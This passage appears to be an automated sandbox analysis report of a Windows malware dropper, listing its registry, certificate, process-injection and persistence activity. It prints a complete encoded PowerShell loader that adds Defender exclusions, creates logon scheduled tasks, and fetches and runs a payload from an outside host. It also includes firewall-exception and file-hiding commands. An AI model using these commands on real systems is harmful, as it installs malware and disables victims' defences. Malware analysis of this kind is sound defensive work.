088865f44e42301d0603551d0e04160414338ce10a6e06d9c6ed0bc6cae736cefb8188646a300e0603551d0f0101ff04040302078030130603551d25040c300a06082b060105050703033081b50603551d1f0481ad3081aa3053a051a04f864d687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c3053a051a04f864d687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c303e0603551d20043730353033060667810c0104013029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f43505330819406082b06010505070101048187308184302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305c06082b060105050730028650687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820201000ad79f00cf4984864c8981ecce8718aa875647f6a74608c968e16568c7aa9d711ed7341676038067f01330c91621b27a2a8894c4108c268162a31f13f9757a7d6bb3c6f19bf27c3a29896d712d85873627d827cd6471761444fabf1d31e903f791143c5b4ce5e7444aacba36d759aeba3069d195226755cbc675aa747f77596c53c96e083c45bba24479d6845eea9f2b28ba29b4dcf0bcf14aa4ce176c24e2c1b8fec3ee16e1c086db6fda97388859e83be65c03f701395b78b842c6dd1533ef642cca6fe50f6337d3f2dfedd8b28f2b28e0c98edd2151392e7cc75489f48859f1de14c81b306eb50eed7bb78be30eaada76767c4ca523a11eec5a2372d6122926ab1801a6a6778e9504791487ee47d4577154988802070f80fc535957658f954cd083546c5afb5a6567b6761275f5db20f70ab86feef94c7cfc65369d325121b69a82399bc7dc1962416f0f05cf1eee64d495a3527e464e2c68da0187093f97b673e43dddbcc067e00713f1565fcff8c3772d44b40a04e600644f22a990345f9a6b5b52963e82c81a0ce91d43a230f67b37d8debda40ea3d59d305e18adc1976516c12a8ba2bca24143b12e9527b4dca58872aa9b3a8c6ac563fc2dc02bf51be889516d35a4ba9d062417b5bdcc50ba945fae26b60d6aec03984798a6a21d3ff793cc0849e81ed55b8027411c50db776ae8feef2fdc2dafb04345261dedc054	support.client.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C	support.client.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C\Blob = 0300000001000000140000007b0f360b775f76c94a12ca48445aa2d2a875701c2000000001000000b4060000308206b030820498a003020102021008ad40b260d29c4c9f5ecda9bd93aed9300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3231303432393030303030305a170d3336303432383233353935395a3069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e6720525341343039362053484133383420323032312043413130820222300d06092a864886f70d01010105000382020f003082020a0282020100d5b42f42d028ad78b75dd539591bb18842f5338ceb3d819770c5bbc48526309fa48e68d85cf5eb342407e14b4fd37843f417d71edaf9d2d5671a524f0ea157fc8899c191cc81033e4d702464b38de2087d347d4c8057126b439a99f2c53b1ff2efcb475a13a64cb3012025f310d38bb2fb08f08ae09d09c065a7fa98804935873d5119e8902178452ea19f2ce118c21accc5ee93497042328ffbc6ea1cf3656891a24d4c8211485268de10bd14575de8181365c57fb24f852c48a4568435d6f92e9caa0015d137fe1a0694c27cc8ea1b32e6cac2f4a7a3030e74a5af39b6ab6012e3e8d6b9f731e1dcade418a0d8c1234747b3a10f6ea3ab6d9806831bb76a672dd2bd441a9210818fb03b09d7c79b325ac2ff6a60548b49c193ede1b45ce06feb26f98cd5b2f93810e6eace91f5bed3fb6f9361345cbc93452883362a66285fb073ce8b262506b283d45cf615194ced62e05e33f2e8e8ec0aa7b0032b91b23679bef7ad081e75a665ccbbe34850f377911afedb50a246c8615898f57c02163c8328ad3986ecd4b70d53d0f847e675308dec30937614a65b4b5d74614d3f129176debf58cb72102941f0d5c56d267668114113589adc262b01f4894d59db78cf814a3e40475fc98150738510232159608a6454c1cc211ae838197c661ccd78384530994fff634f4cbbaa0d0853417c583d47b3fab6ec8c320902cc6c3c0c56110203010001a38201593082015530120603551d130101ff040830060101ff020100301d0603551d0e041604146837e0ebb63bf85f1186fbfe617b088865f44e42301f0603551d23041830168014ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070303307706082b06010505070101046b3069302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304106082b060105050730028635687474703a2f2f636163657274732e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63727430430603551d1f043c303a3038a036a0348632687474703a2f2f63726c332e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63726c301c0603551d20041530133007060567810c01033008060667810c010401300d06092a864886f70d01010c050003820201003a23443d8d0876ee8fbc3a99d356e0021aa5f84834f32cb6e67466f79472b100caaf6c302713129e90449f4bfd9ea37c26d537bc3a5d486d95d53f49f427bb16814550fd9cbdb685e0767e3771cb22f75aaa90cff5936ae3eb20d1d55079889a8a8ac1b6bda148187edcd8801a111918cd61998156f6c9e376e7c4e41b5f43f83e94ff76393d9ed499cf4add28eb5f26a1955848d51afed7273ffd90d17686dd1cb0605cf30da8eee089a1bd39e1384eda6ebb369dfbe521535ac3cae96af1a23edb43b833c84f38149299f5ddce546dd95d02141f40337c03e295b2c221757352cb46d8c4341ca2a54b8dcd6f76372c853f1ace26e918be9007b0437f9588208270f0cccaeffd29355c1f893855f7378a8b09a1cb0be9311aff2e195c3971e1be9ca70a06d62667b792e64e5fde7aac49cf2ea47492addb3ca49c861fe3c1561b2b23ff8fb5ea887b706be6a0bafd3a3f45a6c4e81691528b41c048844b964dab4440e38df01528ceedf11856072a2f10c40c08643c338fae288c3ccb8f880b0dbf3bf4ce1e7b8eefb5ebcbb7f07713e6e7283fac12aea52f226c41f9825c1566cc6c0ecac586c3f626330c074ba0d307026a6a4030484b34a85120bbad1b8508e2590d6dca05502bea4a1c9ea5fda0a71f0674e7f2d65290fdaf854821f9573bb49c03ed8645f4b4616ebf68e2266086eac8afa9fe941de7631b3a8656784e	support.client.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579	support.client.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5904	schtasks.exe
5832	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4388	CFXBypass.exe
4388	CFXBypass.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3540	4363463463464363463463463.exe
Token: SeDebugPrivilege	4600	dfsvc.exe
Token: SeDebugPrivilege	4388	CFXBypass.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3540 wrote to memory of 5268	3540	4363463463464363463463463.exe	94
PID 5268 wrote to memory of 4600	5268	support.client.exe	95
PID 3540 wrote to memory of 3476	3540	4363463463464363463463463.exe	102
PID 3476 wrote to memory of 1328	3476	gallery-dl.exe	105
PID 3540 wrote to memory of 2920	3540	4363463463464363463463463.exe	106
PID 3540 wrote to memory of 668	3540	4363463463464363463463463.exe	107
PID 3540 wrote to memory of 5424	3540	4363463463464363463463463.exe	110
PID 3540 wrote to memory of 4388	3540	4363463463464363463463463.exe	111

Views/modifies file attributes 1 TTPs 4 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
6076	attrib.exe
5732	attrib.exe
4960	attrib.exe
4832	attrib.exe

C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
1⤵
- Downloads MZ/PE file
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3540
- C:\Users\Admin\AppData\Local\Temp\Files\support.client.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\support.client.exe"
  2⤵
  - Manipulates Digital Signatures
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies system certificate store
  - Suspicious use of WriteProcessMemory
  PID:5268
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
    3⤵
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    PID:4600
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5268 -s 280
    3⤵
    - Program crash
    PID:2980
- C:\Users\Admin\AppData\Local\Temp\Files\gallery-dl.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\gallery-dl.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3476
- - C:\Users\Admin\AppData\Local\Temp\Files\gallery-dl.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\gallery-dl.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:1328
- C:\Users\Admin\AppData\Local\Temp\Files\Fast%20Download.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Fast%20Download.exe"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2920
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +r +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe"
    3⤵
    - Views/modifies file attributes
    PID:5732
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +r +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Windows.exe"
    3⤵
    - Views/modifies file attributes
    PID:6076
- C:\Users\Admin\AppData\Local\Temp\Files\%D0%A4%D0%BE%D1%80%D0%BC%D0%B0%203%D0%9E%D0%A8%D0%91%D0%A0.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\%D0%A4%D0%BE%D1%80%D0%BC%D0%B0%203%D0%9E%D0%A8%D0%91%D0%A0.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:668
- - C:\Users\Admin\AppData\Local\Temp\server.exe
    "C:\Users\Admin\AppData\Local\Temp\server.exe"
    3⤵
    PID:6044
  - - C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
      4⤵
      Modifies Windows Firewall
      PID:3628
- C:\Users\Admin\AppData\Local\Temp\Files\RustMeDebyg.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\RustMeDebyg.exe"
  2⤵
  - Executes dropped EXE
  PID:5424
- C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4388
- - C:\Users\Admin\AppData\Local\001d5e01-ec9a-47cb-98fc-03b2bc4a3a84\background.exe
    "C:\Users\Admin\AppData\Local\001d5e01-ec9a-47cb-98fc-03b2bc4a3a84\background.exe"
    3⤵
    PID:2112
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito
      4⤵
      PID:2124
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAHMAYQB5AC0AbQB5AG4AYQBtAGUALgB4AHkAegA6ADQANAAzACcALAAkAGIAbwBkAHkAKQA7ACQAcgBpAHYAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMAAuAC4AMQA1AF0AOwAkAGUAbgBjAD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADEANgAuAC4AKAAkAGQAYQB0AGEALgBMAGUAbgBnAHQAaAAtADEAKQBdADsAJABhAGUAcwAuAEkAVgA9ACQAcgBpAHYAOwAkAGQAZQBjAD0AJABhAGUAcwAuAEMAcgBlAGEAdABlAEQAZQBjAHIAeQBwAHQAbwByACgAKQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGUAbgBjACwAMAAsACQAZQBuAGMALgBMAGUAbgBnAHQAaAApADsAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAsACQAZABlAGMAKQA7AEMAbwBwAHkALQBJAHQAZQBtACAAKAAkAHAAMQAgACsAIAAoACcAXABzACcAKwAnAHYAYwBoAG8AJwArACcAcwAnACsAJwB0AC4AZQAnACsAJwB4ACcAKwAnAGUAJwApACkAIAAiACQAcAAyAHQAXABSAHUAbgB0AGkAbQBlAEIAcgBvAGsAZQByAC4AZQB4AGUAIgAgAC0ARgBvAHIAYwBlADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA7AA==
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5700
      - C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker
        6⤵
        Views/modifies file attributes
        
        PID:4960
      - C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy
        6⤵
        Views/modifies file attributes
        
        PID:4832
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
        6⤵
        
        PID:4612
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:64
        6⤵
        
        PID:4572
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:64
        6⤵
        
        PID:4284
      - C:\Windows\system32\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force /target:computer
        6⤵
        
        PID:5564
      - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /rl highest /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5832
      - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /rl highest /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5904
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
      4⤵
      PID:2780
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
      4⤵
      PID:4784
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito
      4⤵
      PID:7248
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
      4⤵
      PID:7260
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
      4⤵
      PID:7272
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito
      4⤵
      PID:10612
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
      4⤵
      PID:10628
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
      4⤵
      PID:9808
- C:\Users\Admin\AppData\Local\Temp\Files\6.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\6.exe"
  2⤵
  PID:3568
- C:\Users\Admin\AppData\Local\Temp\Files\1223.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\1223.exe"
  2⤵
  PID:3720
- C:\Users\Admin\AppData\Local\Temp\Files\rxd_en_1.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\rxd_en_1.exe"
  2⤵
  PID:4244
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\REXCEL~1.EXE
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\REXCEL~1.EXE
    3⤵
    PID:5800
  - - C:\Users\Admin\AppData\Local\Temp\INS5A60.tmp
      C:\Users\Admin\AppData\Local\Temp\INS5A60.tmp /SL3 $E022E C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\REXCEL~1.EXE 1126546 1136290 61440
      4⤵
      PID:2472
    - - C:\Program Files (x86)\R-Excel Demo\rexcel.exe
        
